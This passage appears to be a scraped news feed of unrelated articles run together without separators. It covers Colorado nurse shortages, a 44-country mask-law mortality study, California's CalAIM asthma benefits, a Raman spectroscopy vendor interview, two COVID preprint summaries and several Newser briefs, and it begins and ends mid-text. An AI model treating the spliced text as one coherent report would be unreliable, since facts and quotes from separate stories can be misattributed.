ends: "The sky isnt falling, but the sky is going to turn a very different color." In Longmont, Colorado, about 50 miles north of Denver, nearly a third of Longmont United Hospitals registered nurses have left since the start of July and many have not been replaced, said Kris Kloster, who has been a nurse for 32 years. She is backing an effort by nurses to unionize there. The stress nurses and doctors feel is compounded when they feel powerless to take what they regard as an ethically correct action in treating a patient. There's a term for that, "moral distress," said Dr. Barbara Statland, a hospitalist at Denver Health. The tension comes "because you cant do what you feel is ethically proper. And Id say that health care workers have been riddled with this." Despite the stress and distress, many front-line providers are hanging in there, continuing to care for patients every day. That made the difference for at least one covid patient who said he was appreciative he was able to get care just in time. "They saved my life. I do feel grateful for everything they did," said 58-year-old Rob Blessin, of Fort Collins. He caught the virus this fall and spent 30 days in an ICU ward with pneumonia at North Colorado Medical Center in Greeley. He described the efforts of his doctors and nurses as heroic, some working nine or 10 days in a row, many taking overtime. And others, Blessin said, were filling in. "So often you'd have people from different departments being trained on the fly," Blessin said. "So theres a lot of pressure on people. Theyre just trying to get warm bodies in there." Respiratory therapists are in short supply in hospitals, and Blessin said as more coronavirus patients were admitted, the staff struggled to keep up. Blessin said he landed in the hospital because he was swayed by internet misinformation and didn't get vaccinated. It's a decision he came to regret. "I guess my recommendation would be to get vaxed, you know, even if you're totally against it; dont fall into the internet hype," Blessin said. After his experience being hospitalized for a month due to the coronavirus, and having talked with his physicians there, he now plans to get vaccinated. This story is from a reporting partnership that includes Colorado Public Radio, NPR and KHN. A study of the impact of national face mask laws on COVID-19 mortality in 44 countries with a combined population of nearly one billion people found that, over time, the increase in COVID-19 related deaths was significantly slower in countries that imposed mask laws compared to countries that did not. The study, appearing in the American Journal of Preventive Medicine, published by Elsevier, shows that masks provide a supplementary layer of protection that could prevent unnecessary COVID-19 deaths. While several studies before this have looked at the impact of masks on COVID-19 cases, fewer studies were focused on whether mask wearing may reduce COVID-19 deaths, and no study had looked at the data across multiple countries. The large sample of culturally diverse countries in this retrospective study covers a large population, giving us more evidence towards the life-saving potential of masks during the COVID-19 pandemic." Sahar Motallebi, MD, MPH, lead investigator, Malmo, Sweden The top 50 countries according to the United Nations Development Programme Human Development Index, which measures life expectancy, education, and standard of living, were targeted because of comparability and reduced chance of selection bias. Four countries in the Southern Hemisphere (New Zealand, Australia, Chile, and Argentina) were excluded to avoid potential seasonality characteristics. The United States and Canada were excluded because public health policies are made at the state/province level and a unified national policy does not exist. Data from the remaining 44 countries were used to model COVID-19 mortality. Twenty-seven countries with face mask policies and 17 countries without face mask policies, covering a combined population of nearly one billion people, were included in the study. Investigators looked at COVID-19 deaths between February 15, 2020, the date of the first confirmed death in the targeted countries, to May 31, 2020, when many countries began to lift gathering and movement restrictions. Ten relevant demographic, social, clinical and time-dependent factors were examined. Potential confounders between face mask policy and mortality reduction, such as non-pharmaceutical interventions, were identified. The 44 countries studied reported 2,167,664 confirmed deaths, 1,253,757 in countries without face mask mandates and 913,907 in countries with face mask mandates. The average COVID-19 mortality per million population was 48.40 in countries with face mask policies and 288.54 in countries without face mask policies, and this was significantly greater compared to countries with mask mandates. Face mask countries had significantly lower average daily increase in deaths compared to no face mask countries. Surprisingly, the countries with no mask mandate started with a lower COVID-19 daily mortality. However, the death rate accelerated so fast in those countries that they not only caught up with the death rate in mask law countries, but significantly surpassed them over time. "To reach its full potential of saving lives, public health research should be practical and pragmatic," Dr. Motallebi stressed. "Our primary objective was to assess lessons learned from the pandemic in order to better prepare for future potential epidemics of airborne diseases, before pharmaceutical interventions are available." As delays in vaccination continue to challenge heath systems across the globe, the study adds evidence that before, and even after, full vaccination of the population, face masks continue to be a preventive measure against COVID-19. "Across variants, vaccines may reduce mortality but not necessarily morbidity, and face masks continue to protect against both. So, we don't have to choose between these two good policies of vaccination and face masks or substitute one for the other when we can and must do both in parallel," Dr. Motallebi concluded. Growing up amid the dusty agricultural fields of the Central Valley, Ruby Marentes-Cabrera can't recall a time when it wasn't difficult to breathe. Diagnosed with asthma early in childhood, the ninth grader has come to detest the pistachio trees that surround her home because the dust, pesticides and other allergens that blow off the orchards often trigger an asthma attack even infiltrating her home so that simple chores like vacuuming can be dangerous. "We live so close to the fields I breathe the dust and chemicals in," said Ruby, 14, describing coughing and wheezing fits calmed by puffs from her emergency inhaler or breathing treatments from a nebulizer. "It gets so bad that my back hurts, my head hurts, my lungs hurt. I get sick and it gets really hard to breathe." Ruby is among roughly 2 million low-income Californians who have health insurance coverage from Medi-Cal, the state's Medicaid program, and have been diagnosed with asthma, a chronic and expensive disease that costs California billions of dollars per year in health care spending, missed work for parents and lost school days for kids. The disease exacerbated by air pollution and indoor threats like harsh cleaning products, cockroach infestations, dust and mold hits low-income communities the hardest. Medi-Cal patients accounted for half the state's asthma-related emergency and urgent care visits in 2016, even though they represented about one-third of the population, according to data cited by state health officials. Starting in January, California will embark on an ambitious experiment to control asthma in its most vulnerable patients. Medi-Cal will offer recipients like Ruby unconventional in-home "treatments" not traditionally considered health care: removing mold, installing air purifiers and even replacing carpeting, blinds and mattresses. These new asthma benefits are just a small part of Gov. Gavin Newsom's sweeping $6 billion initiative to transform the largest Medicaid program in the country. The initiative, known as CalAIM, will target the state's sickest and most expensive patients and cover an array of new social services, including home-delivered healthy meals; help with grocery shopping, laundry and money management; and security deposits for homeless people in search of housing. Newsom's goal is to lower soaring Medi-Cal spending which hit an astronomical $124 billion this fiscal year by preventing costly care such as emergency room visits. But state health officials acknowledge the new asthma benefits may not actually save taxpayer money. Nor will the benefits be distributed equally: Because Medi-Cal managed-care insurance plans have immense power to decide which new services to offer and to whom, the initiative will create a patchwork of haves and have-nots. Of the 25 participating insurance companies, 11 will offer in-home asthma services starting in January in 36 of the state's 58 counties. Within those counties, some Medi-Cal recipients will qualify; others will not. With just two weeks to go before the program debuts, many insurers are scrambling to establish networks of nonprofit organizations and private contractors that specialize in delivering in-home asthma services and home repairs. In San Bernardino and Riverside counties, for example, about 400 patients served by the Inland Empire Health Plan out of nearly 1.4 million Medi-Cal plan members will have access to asthma services in the first year, largely because the insurer has identified only one organization equipped to handle the responsibility. "If we don't do this right, this dream can become a nightmare," said Alexander Fajardo, executive director of El Sol Neighborhood Educational Center in San Bernardino, which is negotiating a contract with the insurer. Fajardo said El Sol is frantically preparing. While his organization has experience providing asthma education, it doesn't have expertise in medical billing, patient privacy regulations and managed-care contracts. "This is new, so we still have to learn," Fajardo said. Jeanna Kendrick, the Inland Empire Health Plan's senior director of care integration, called the experiment to develop new social services "probably the hardest thing we've ever done." It pushes plans into uncharted territory, she said, contracting with community organizations and teaching them how to handle medical billing, for example. "We really do need to be creative and have some wiggle room because this is brand-new for all of us," Kendrick said. Jacey Cooper, California's Medicaid director, argued earlier this year that health plans will start small but add capacity over the five years of the initiative. The state is offering incentive payments to help plans launch new services and has set aside $300 million for the first half of 2022 alone. The Department of Health Care Services, which administers Medi-Cal, could not say how many low-income Californians will receive new in-home asthma services, because they are voluntary, and as a result could not predict future costs. But Anthony Cava, a department spokesperson,cited data showing that more than 220,000 Medi-Cal recipients have poorly controlled asthma. The state pays $200 to $350 for a typical asthma-related emergency room visit, and $2,000 to $4,000 a day for a typical inpatient hospitalization, department officials said. Agency officials couldn't confirm the asthma benefits will save money, saying the costs will be equal to or less than the costs of traditional medical treatments. Under the program, health insurers will send contractors into houses and apartments to assess hazards and educate patients about conditions that can trigger asthma attacks. Insurance executives say they will consider approving any service that could help asthma patients from replacing tattered carpets to buying nontoxic cleaning products and pillow dust covers within the $7,500 lifetime cap for each Medi-Cal recipient. The services will be available to both renters and homeowners. "It's not that somebody can just say they just want a brand-new $3,000 mattress," said Dr. Takashi Wada, chief medical officer for the Inland Empire Health Plan. "But we do think a lot of these asthma attacks are preventable, and by avoiding illness, you're also avoiding unnecessary hospital and emergency department visits." Fresno and Madera counties have some of the worst air quality in the state. They also have the highest rates of childhood asthma-related ER visits in California, along with Imperial County on the Mexican border, according to 2019 state public health data. Ruby and her family, who live in Madera, California, appear to be ideal candidates for state-funded asthma benefits, said Joel Ervice, associate director of Regional Asthma Management and Prevention, which lobbied for the new services. Both Ruby and her sister Yesenia, 20, have asthma and were frequent visitors to the ER during childhood. But as in the Inland Empire, only a small share of Central Valley asthma patients will receive the new services initially. Ruby and her family hope they will be among the lucky ones but realize they may still have to rely on conventional treatments such as emergency inhalers and the hospital if necessary. "I'm taking my medication a lot right now it would be good if my asthma got better," said Ruby, who wants to be able to play outside her home and excel in outdoor school activities. "I'm having a hard time running the mile in school, so being able to run would be so great for me and my health." CalViva Health, a major insurer serving patients in the Central Valley, including the Marentes-Cabrera family, so far has identified one nonprofit organization to deliver services and is negotiating with others. That organization, the Central California Asthma Collaborative, expects to be able to serve up to 500 people across seven counties next year. Unlike other nonprofit groups that are still assessing how to deliver services, the collaborative has already identified private contractors to remove mold, install bathroom or kitchen ventilation, and provide other services, co-director Kevin Hamilton said. CalViva Health CEO Jeffrey Nkansah said asthma is one of the leading causes of hospitalization among the insurer's enrollees. "But right now, these conversations around identifying partners to deliver these asthma remediation services are fluid," Nkansah said. "We're still working hard to make sure we can get those services in place for Jan. 1." For the Marentes-Cabreras, the relentless clouds of dust and other toxins from orchards, combined with seasonal wildfire smoke, are the biggest problem. The particles infiltrate their lungs and their home, covering surfaces and caking the carpet, which they would like to replace. But they don't have the money. For now, Sandra Cabrera uses nontoxic cleaning products and daughters Ruby and Yesenia track their lung capacity with oxygen meters. "I am trying to control what's in the house to prevent them from getting sick, cleaning a lot and using different cleaners," Cabrera said in Spanish. "We could use help to do more, but it's really difficult." This story was produced by KHN, which publishes California Healthline, an editorially independent service of the California Health Care Foundation. insights from industry Justin Moretto Life Science Product Marketing Manager Kaiser Optical Systems, Inc., an Endress+Hauser company Can you explain how spectroscopy can be used for bioprocessing? I can certainly offer some common examples, but there are too many applications to list here, and users are still finding exciting new uses every year. The most common use for Raman spectroscopy in bioprocessing is as a real-time monitoring tool for chemical species of interest for that unit operation. Sometimes this means quantifying various amino acids during a media prep operation, metabolites such as glucose and lactate in cell culture operations or protein aggregation in purification steps. The great value comes from its ability to non-destructively quantify multiple analytes with a single probe, which provides orders of magnitude greater data resolution, and therefore much greater process characterization capabilities. For scientists and engineers who are interested in process optimization and automation, Raman spectroscopy can be used to drive feedback loops using real-time quantification capabilities. This often manifests as on-demand feeding for continuous batch-fed and perfusion cultures, but it can also be used for downstream applications, such as protein concentration loops and column breakthroughs. What advantages does the process have over other potential bioprocessing measurement techniques? As Raman spectroscopy utilizes light as its primary analysis medium, it is not subject to the material degradation that all enzymatic measurement regimes experience, so the measurements have greater long-term precision with less instrument drift, as well as no consumable costs. Since the measurements are done in situ, the material does not need to be destroyed to measure it, which also means that significantly more data can be collected for every process. As for spectroscopic techniques, Raman is uniquely suited for bioprocessing due to its relative insensitivity to water, which is critical for devices working with aqueous solutions. Endress+Hausers Raman Rxn-46 probe compatible with Sartorius BioPAT Spectro for Biostat STR systems. Image credit: Endress+Hauser What are some of Raman bioproduction solutions main bioprocessing products? Endress+Hauser offers a wide range of bioprocessing-specific hardware tailored to meet varied demands across an entire bioprocessing organization. The Raman Rxn platform is the heart of our Raman offerings. The Raman Rxn2 and Rxn4 base analyzer units can be paired with the RamanRxn probe for use with autoclavable systems, the bIO-PRO probe for systems compatible with steam sterilization, the bIO-PRO, KS probe which provides native compatibility with Sartorius BioPAT Spectro for Ambr and Biostat STR systems, and even a Raman accessory optic specific for single-use operations. Endress+Hausers Raman Rxn-46 probe compatible with Sartorius BioPAT Spectro for Ambr systems. Image credit: Endress+Hauser What are the advantages that Raman-based Process Analytical Technology (PAT) delivers in biopharma? Simply put - the Raman-based PAT has excellent reliability, increased efficiency, and delivers safer products. Can you explain some of the problems that researchers and laboratories will be able to overcome when they switch to a Raman Spectroscopy system? Off-line sample analysis is a significant data bottleneck that requires a great deal of human capital as well as instrument time before process decisions can be made. The nature of these bottlenecks is so engrained that process inefficiencies have been built in to allow for them, leading to challenging upper limits on efficiency. Real-time feedback and control provide scientists and engineers with the levers needed to increase process efficiency and even target direct improvements in product quality metrics. What are the main elements of the Raman system? The components of a Raman system are deceptively simple: a monochromatic light source (laser), light delivery and retrieval mechanism (fiber-optics, sterile boundary window), notch filter (removes the much more intense laser light), diffraction grating (which separates the light based on energy) and a CCD (camera). Like so many things, every link in the chain has to be built to exacting standards for the system to perform at its peak, and when all of the components are of high-quality and configured properly, the result is greater than the sum. Can you explain some of the key moments in Ramans twenty-year journey from early feasibility studies to a wealth of modern publications? From about 2007 to 2012, some of the first feasibility studies were conducted for in situ Raman for cell culture, with results appearing in early industry publications. Then, bioprocess-specific use of Raman technology increased among early adopters in the industry. This led to an emergence of publications about Raman technologys robustness for scale-up and feedback control starting around 2013. By 2015-2016, we started to see a dramatic increase in industry adoption in the use of Raman for both cell culture and fermentation as Raman product technology for bioprocessing improved. From that point forward, Raman was proven in cGMP, cross-scale and cross-platform models and bioprocess control. Between 2018 and 2021 was really when we saw an increased focus on data analytics, advanced process control and new Raman applications, such as high throughput and automated modeling, single-use, perfusion, cell & gene therapies, downstream and more which has resulted in a wealth of modern publications. Can you describe the technology that these systems are designed to integrate with and why these integrations are beneficial to the user? The most critical integration feature is the use of OPC for data transfer since this is the industry standard for all modern hardware installations. Endress+Hauser's Raman systems can easily integrate with any OPC-enabled hardware. This includes integrating directly with a users DCS interface or sending data to a data historian. With direct integration with a DCS, users have the ability to drive feedback logic that is natively supported in the DCS software, without any additional learning curve or software packages. The Raman data can also be used to trigger alerts and alarms at critical process points or in the event of a process deviation. The key to the integration options is that they make the process simple and straightforward. Image credit: Endress+Hauser Can you describe what future technological improvements will make Raman technologies even more appealing to the end-user? I expect to see new innovations in Raman technology to enable even faster, easier and more robust model building. For example, integrating Raman spectroscopy into Ambr is an exciting new development that supports this and enables companies QbD and PAT efforts early on in product and process development. I expect to see additional integrations that improve ease-of-use for scale-up, downstream operations, advanced process control, single-use manufacturing and more. If you could tell potential users one thing about Raman technologies to influence their switch to your platform, what would that be? I would encourage potential users to read through some peer-reviewed articles to see how other bioprocessing organizations are currently using our equipment. I believe in the products that we sell, but I dont expect industry professionals to take my word for it. Instead, I would point to the string of successful research, development and cGMP implementations we complete every year. I do my best to keep a current list of customer citations, which of course I would be very happy to share and discuss with anyone who is interested. About Justin Moretto Justin Moretto is currently the Life Science Product Marketing Manager at Kaiser Optical Systems, Inc., an Endress+Hauser company. Before taking the role as product marketing manager, Justin served as an application scientist at Kaiser Optical Systems for several years. Earlier in his career, Justin spent ten years working in the biotech industry, including seven years with Biogen as part of the PAT initiative. He holds a masters degree in Biotech Enterprise Management from Johns Hopkins University and a Master of Science Degree in Analytical Chemistry with a focus in protein characterization from North Carolina State University. About Kaiser Optical Systems, Inc. Kaiser Optical Systems, Inc. (Kaiser), an Endress+Hauser company, is the global leader in Raman spectroscopic instrumentation for laboratory, process, and manufacturing environments. Our solutions harness the powerful analytical information of Raman Spectroscopy to help our customers understand, measure, and control their chemistries. As a trusted partner in Raman for over 30 years, Kaiser has a long history in production, including GMP manufacturing, with many proven successes. Our unmatched expertise, high quality solutions, and exceptional customer service sets Kaiser far above any other Raman option in the marketplace. Kaiser Raman technology is currently used throughout the chemical, food and beverage, oil and gas, pharmaceutical, and biopharmaceutical industries to optimize process efficiency and deliver quality products. Kaisers manufacturing and headquarters facility is in Ann Arbor, Michigan. In a recent study posted to the medRxiv* preprint server, researchers conducted a prospective cohort study to determine the persisting coronavirus disease (COVID-19) associated symptoms after hospitalization and their risk factors. Study: Symptoms persisting after hospitalization for COVID-19: 12 months interim results of the COFLOW study. Image Credit: fizkes/Shutterstock Reports indicate that most patients with acute severe cases of COVID-19 experienced long-lasting symptoms associated with the disease, including cognitive deficits, dyspnea, and fatigue. Studies providing long-term data regarding persisting symptoms at 12 months and beyond are scarce. They failed to define the relationship between various symptoms and the frequency at which certain symptoms overlap. About the study The COVID-19 follow-up care paths and Long-term Outcomes Within the Dutch health care system (CO-FLOW) study is an ongoing multicentered prospective cohort study where the long-term post-COVID symptoms are assessed for 12 months after hospitalization, the development of long-lasting symptoms and their clusters are evaluated, and the overlapping of symptoms of various clusters is determined. The risk factors for major COVID-19 persistent symptoms were assessed from the data collected from 1st July 2021 to 1st December 2021 and presented in this study. The inclusion criteria included individuals 18 years or older with a history of COVID-19-related hospitalization six months before the initiation of the study, subjects present for a minimum of two study visits, and proficiency in English or Dutch. Due to the nature of study procedures, incapacitated patients could not participate in the study. After submitting written informed consent, the participants were recruited from the participating centers, skilled nursing facilities, or inpatient rehabilitation centers. At the time of study visits, clinical tests to evaluate physical, cognitive, and psychological parameters were performed. The subjects were monitored for 12 months, and they received questionnaires through postal mail or email at 3, 6, and 12 month follow-up periods. Symptoms were categorized into various clusters: fatigue, respiratory, physical, and cognitive. Results Based on the results, there were 335 males among the 492 participants, the mean age was 60.210.7 years, and the median length of hospitalization was 11 days. About 97% of the participants experienced at least one long-lasting symptom after three months of discharge, which reduced to 95.5% and 92% at 6 and 12 months after discharge. Compared to males, the symptoms lasted longer in females, and symptoms of all clusters overlapped; however, the potential for bias in reporting symptoms in males and females cannot be neglected. The most prevalent symptoms observed during the follow-up period accounting for more than 50% rates were exertional dyspnea, cognitive deficits, fatigue, and muscle weakness. Symptoms such as cognitive problems, ageusia, anosmia, and fatigue persisted long-term, while hair loss, muscle weakness, and exertional dyspneic symptoms were significantly reduced. Over time, the symptoms associated with respiratory and physical clusters gradually declined, whereas symptoms associated with cognitive and fatigue clusters were persistently evident. Fatigue was increasingly found in those employed or with comorbidity, cognitive problems were associated with comorbidities and shorter length of hospitalization, and decreased muscle weakness was associated with steroid therapy and a shorter length of hospitalization. The results indicate that long-term symptoms were found in many patients even if the COVID-19 cases are reduced due to increased immunity. Conclusions The study results suggest that post-COVID conditions such as fatigue and cognitive symptoms were experienced by most subjects up to 12 months of hospital discharge. In contrast, symptoms associated with respiratory and physical clusters gradually declined. These findings correlate with the observation of a meta-analysis showing that the short-term and long-term prevalence of long-lasting symptoms up to six months after hospitalization were the same. The percentage of long-lasting symptoms reduced from 68% to 49% at 6 and 12 months after hospital discharge in a cohort study conducted in Wuhan while it was 97%, 95.5%, and 92% at 3, 6, 12 months after discharge in the present study. This is because 35.6% of the cohort received mechanical ventilation in the present study, whereas it was only 1% of the study population in Wuhan. Vaccination plays an important role in reducing COVID-19 cases and preventing post-COVID conditions as persisting symptoms of breakthrough COVID-19 infections only last for around 28 days. The findings highlight the need for long-term cohort studies to determine the underlying factors and effective therapies for post-COVID syndromes, apart from devising adequate measures to prevent COVID-19 infection. *Important notice medRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information. The coronavirus disease 2019 (COVID-19) pandemic has proven especially difficult to model accurately. In the early days, as the disease first spread around the world, public health policies changed rapidly, and many models were based on parameters that were no longer correct even one week after creation. As the disease progressed, and new lockdowns and changes in policy were introduced and stabilized, the introduction of new variants forced models to be adapted even further, and when vaccines were finally developed the models needed to include both vaccination rates and rates of loss of immunity which were contentious at first. Researchers have created a model that takes all of these into account and can be adjusted as factors change. A preprint version of the groups study is available on the medRxiv* server, while the article undergoes peer review. The study The researchers previously created a simplified version of the age-structured SEIR model, in which individuals begin as susceptible (S), and upon contact with an infected individual change to become infected (I), and then can later recover (R). The model also takes into account differences in symptomatic and asymptomatic infection, with asymptomatic infections passing the disease on at a lower rate. All asymptomatic individuals are expected to recover, while symptomatic individuals can recover or enter hospital, and hospitalized individuals can either recover, die, or progress to the ICU. ICU-admitted individuals can recover or die. The scientists added another branch to the model to assess the effect of vaccination. Susceptible and recovered individuals are vaccinated at a certain rate (Y), before being moved to an analogous compartment in the new vaccine protected branch of the model. The model even takes into account vaccine breakthrough infections, with susceptible individuals still retaining a small chance of becoming infected and an even smaller chance of becoming symptomatic. Otherwise, the vaccinated branch behaves the same as the non-vaccinated branch. The researchers present simulations in which individuals are vaccinated per age-group, mimicking the vaccination program. They assumed that the vaccine protects an individual for a certain period post-vaccination, and age-groups were assigned a coverage proportional to their size. The duration of both vaccine-induced and infection-induced immunity were included in the model, and the scientists examined multiple different scenarios assuming different lengths of immunity. This model was fitted to ICU and non-ICU hospitalization data between January and September 2021, and changes in contacts due to non-pharmaceutical interventions were estimated and added to the model. The reproduction number was estimated with and without non-pharmaceutical interventions (NPIs) in place, assuming a 47% reduction in effective contacts according to mask effectiveness studies. The researchers showed that with no NPIs, the possibility of keeping the reproduction number (Rt) of the disease below one is only possible if the entire population above age 12 is vaccinated, vaccine effectivity is above 85%, and the Delta variant shows similar transmission dynamics as the original strain. Bear in mind that this study was begun before the Omicron variant began threatening to become the most dominant strain, and figures have likely changed since. With NPIs in place, an Rt below one could be achieved at any level of transmission. The scientists also examined the results for vaccine protection duration scenarios and booster shots. Their scenario for a 1-year immunity duration results in a wave of non-ICU hospitalizations at the end of 2021 but the peak of this can be reduced dramatically if all above 65 years old receive a booster shot. 3-year immunity scenarios show a smaller magnitude of new hospitalizations, and the booster shots to the elderly only reduce peak hospitalization by 38%. The scenario assuming no immunity is lost still results in a peak of hospitalization at the end of the year but at a much lower magnitude. This is the only scenario that does not result in ICU occupancy rising higher than acceptable limits by the end of 2021. The authors highlight that their model enables the analysis of possible outcomes dependent on different NPIs, social activity, vaccine effectiveness and vaccine allocation, and is adjustable for the different mechanics of different variants. As an array of different possible values can be considered for each of the parameters that they were investigating, this model is an excellent way to explore the consequences for changes in law and can easily be adjusted if new data comes to light on vaccine effectivity against new variants, or if vaccination rates change. This model could be invaluable for public health policymakers, healthcare administrators and epidemiologists, and should help provide information for future plans to combat the pandemic. *Important notice medRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information. (Newser) Update: A truck driver who slammed into traffic on I-70 in Colorado in 2019, leaving four people dead and six others injured, has been sentenced to 110 years in prison. Rogel Aguilera-Mederos, 26, said his brakes failed, but prosecutors said his reckless behavior and bad decisionsespecially his failure to use a runaway truck rampcaused the crash, NBC reports. Judge A. Bruce Jones gave Aguilera-Mederos the minimum 10-year sentence on six crash-related charges and the minimum 5-year sentence on ten others, 9News reports. The judge said that if it was up to him, the sentences would not have to be served consecutively, but state law gave him no choice. Our story from April 27, 2019 follows: story continues below A truck driver who plowed into stalled traffic and sparked a huge crash has been charged with four counts of vehicular homicide, police tell NBC News. Rogel Lazaro Aguilera-Mederos, 23, was carrying lumber in Denver on Thursday when his semi hit Interstate 70 traffic stymied by an earlier accident. "Stemming from interviews and evidence that was gathered overnight ... the proximate cause of the crash is on the driver of the semi," says Lakewood Police Department Agent Ty Countryman. "The carnage was significantjust unbelievable." The crash triggered a massive fire and damaged a bridge that now needs two to four inches of asphalt replaced. NBC 9 Colorado video shows vehicles ablaze and wood pieces all over the highway. Comedian and vlogger Josh McCutchen was stuck in traffic when his camera caught the semi blowing past. "Oh my God!" he yelled. He soon saw "plumes of black smoke ahead," he later said, and drove up to discover fire "shooting off the sides of the overpass. It was crazy." Nearby panhandler Darin Barton is being recognized for dropping his sign and pulling people from their cars: "As soon as I [saw] flames, I headed under the bridge, grabbed three or four people out of a couple cars," he tells KDVR. "I didn't do this all myself. There were other people in traffic that helped." Aguilera-Mederos, a Cuban living legally in Texas with a green card, was injured but not seriously. His brother tells CNN the truck's brakes failed, but if that's true vehicular manslaughter charges could still apply. (Read more car crash stories.) (Newser) A New Jersey man who worked for Amtrak for nearly 15 years now faces up to 20 years in prison for what he admitted doing on the job. Federal officials say Jose Rodriguez of Brick, NJ, obtained equipment under the guise of needing it for projects he was doing as part of his job as a senior engineer but then selling it. Prosecutors say the 49-year-old had been running the scheme for the last 7 years, and that it ultimately totaled up to 114 chain saws and 344 chain saw parts. The equipment was worth $76,000, per the DOJ. Rodriguez on Monday pleaded guilty to one count of mail fraud connected to his use of the Postal Service to mail the equipment to purchasers, who bought it from Rodriguez himself or via an online auction. story continues below The New York Times has more on what agents with the Amtrak Office of Inspector General detailed in court documents: They say Rodriguez sometimes reached out to a potential buyers on the very day he got the equipment from Amtrak. Further, they say some of the chain saws they recovered had the same serial numbers as ones in Amtrak's inventory. Rodriguez was arrested on March 8, 2021, and was at the time charged with theft from an agency receiving federal funds and theft of government property. As a result of an agreement made around Monday's guilty plea, those other charges won't be pursued. Rodriguez faces up to 20 years in prison and a $250,000 fine. He'll be sentenced in April. (Read more Amtrak stories.) (Newser) Texas Lt. Gov Dan Patrick might have to cough up another voter fraud bounty: Three residents of a retirement community in central Florida have been arrested for allegedly voting more than once in the 2020 election, Orlando Weekly reports. Jay Ketcik, Joan Halstead, and John Rider are each accused of casting an out-of-state absentee ballot as well as voting in Florida. All three suspects are residents of The Villages in Florida's Sumter County, but authorities say there's no sign that they knew each other. WKMG reports that all three are registered Republicans and there are pro-Donald Trump posts on Facebook pages believed to belong to Halstead and Ketcik. story continues below According to court records, Ketcik, 63, and Halstead, 71, turned themselves in at the Sumter County Jail; Rider, 61, was arrested at the Royal Caribbean cruise terminal in Brevard County on Dec. 3. All three are charged with casting more than one ballot in an election, a felony with a maximum sentence of up to 5 years in prison. WKMG notes that arrests for alleged election fraud are very rare in the region: Records show there were no arrests for casting multiple ballots in Brevard, Lake, Marion, or Sumter counties between 2000 and 2020. (Read more Election 2020 stories.) (Newser) Hundreds of people, including students and parents, joined a protest in Canada Tuesday to support a teacher who was removed from the classroom because she wore a hijab. Fatemeh Anvari, who taught third grade at a school in Chelsea, western Quebec, was reassigned to a role outside the classroom because her head covering violated a controversial law that bans provincial government employees in position of authority, including teachers, from wearing religious symbols, the Guardian reports. Quebec's Bill 21 also bans crucifixes and the turbans worn by Sikhs, but critics say it was clearly designed to discriminate against the province's growing Muslim population. story continues below Anvari was removed from the classroom just a month after starting work at the school. Under the law, people who were hired before March 2019 are allowed to continue wearing religious symbols. Parent Emily Dyer tells the CBC that while many people were already against the law, it "really hits home" now that it has affected a member of the community. "It's real people who are in the untenable situation of having to choose between practising their religion, continuing to have their identity and being able to maintain a job. That is untenable." The law passed in June 2019 and has faced multiple court challenges. The case has received widespread attention across Canada, but Quebec officials seem unlikely to budge. Quebec Premier Francois Legault said Friday that Anvari should never have been hired in the first place. Prime Minister Justin Trudeau said Monday that while he doesn't want to set up a showdown with the Quebec government, the federal government hasn't ruled out intervening, CTV reports. "I always said very clearly I deeply disagree with Bill 21," Trudeau said. "I dont find that in a free and open society that someone should lose their job because of their religion." (Read more Quebec stories.) (Newser) A dog missing for two weeks in Colorado was rescued from a ledge about 50 yards above a creek and is now back home, the AP reports. The Humane Society of the Pikes Peak Region says that after it received a call about a dog stuck on a cliff overlooking a creek last week, two animal control officersOfficer Barker and Officer Johnsonwere able to spot it through binoculars, reports ABC7. Barker anchored herself to a wooden fence and rappelled down to the dog using a mountaineering harness and rope provided by a man living nearby, the humane society said Monday on Facebook. story continues below The dog, later identified through her microchip and tag as Jessie Lee, immediately wagged her tail and crawled towards the officer but the ground started slipping out from underneath the dog, the humane society said. Officer Barker put a catchpole around the dog's neck and shoulder to slowly pull Jessie Lee closer safely so she would not fall. Another officer then lowered a second rope which was tied into a makeshift harness for the dog and pulled them both up to safety, the humane society said. Jessie Lee was reunited with her owners, who had been looking for daily since she went missing two weeks ago, the humane society said. Five years ago, the Colorado shelter celebrated finding homes for all of its dogs before Christmas. (Read more uplifting news stories.) (Newser) A few months into the coronavirus pandemic, Demi Skipper offered up a bobby pin for trade. She's been trading up ever since, acquiring an Xbox, a diamond necklace, and several cars. But the 30-year-old San Francisco resident, who amassed 5 million followers while documenting her trades with strangers on TikTok, is done trading after her 28th deal. As NBC News reports, Skipper last month handed over a $40,000 solar-powered trailer in exchange for a house near Nashville, Tenn. "It's been so surreal," Skipper tells NBC. "Working towards something every day for more than a year and [a] half, and now I wake up and think: 'Is this actually real? Is this actually my house?'" story continues below Skipper was aiming for a house from the beginning. She'd modeled her quest on that of Canadian blogger Kyle MacDonald, who described his 2006 trading journey from a red paper clip to a house in a 2015 TED Talk. "Given all the time we have in quarantine, I thought it was the perfect opportunity to try," Skipper told Insider in February, by which time she'd acquired a $9,500 tiny house. She'd traded the bobby pin for a $10 pair of earrings, then acquired a $24 set of margarita glasses, a $60 vacuum, a $95 snowboard, a $180 Apple TV, a $220 set of headphones, a $320 Xbox, an old MacBook valued at $400, and a $550 camera set. After trading in pricey sneakers, she acquired an iPhone and traded that for a 2008 Dodge minivan, valued at $2,200. The vehicle soon broke down, but she traded it for a $1,200 electric skateboard, that for an $1,800 MacBook, that for a $3,800 bike food cart, and that for a $5,000 Mini Cooper. She then acquired a diamond necklace she thought was worth $20,000 but was appraised at less than $2,000. She kept going, eventually acquiring a $6,000 Jeep, which she traded for the tiny house. She took a lot of flak for moving on to a Chipotle celebrity card, but "Chipotle's biggest fan" turned up offering a trailer worth $40,000, Skipper tells NBC. And late last month, a house flipper in Tennessee offered to take it in exchange for a house. Skipper and her husband plan to move in in Januaryand try to do it again, this time with the goal of donating the eventual house to someone in need. (Read more TikTok stories.) (Newser) South Dakota Gov. Kristi Noems daughter received unusual treatment in an application for her real estate license, including an extra opportunity to obtain it after failing to meet federal requirements, the former director of a state appraiser agency told lawmakers Tuesday. Sherry Bren's testimony before a legislative panel was the first time that she has spoken in depth in public about Kassidy Peters' application and about a meeting that her mother called last year to discuss the appraisal process, the AP reports. The panel began looking into the July 2020 meeting at the governor's mansion after the AP first reported on it in September. story continues below Noem called the meeting a week after the state's Appraiser Certification Program notified her daughter that her application was headed for denial. Peters ultimately obtained the certification four months later, in November 2020, and Bren said she was subsequently "forced to retire" from a program that she had led since its inception in 1991. Bren testified that she felt "very nervous, and, quite frankly, intimidated" at the July meeting, where she said Peters unsuccessful application was discussed in detail and a plan was formulated that gave her another chance to apply. Bren said that she could not remember the agency forming what's 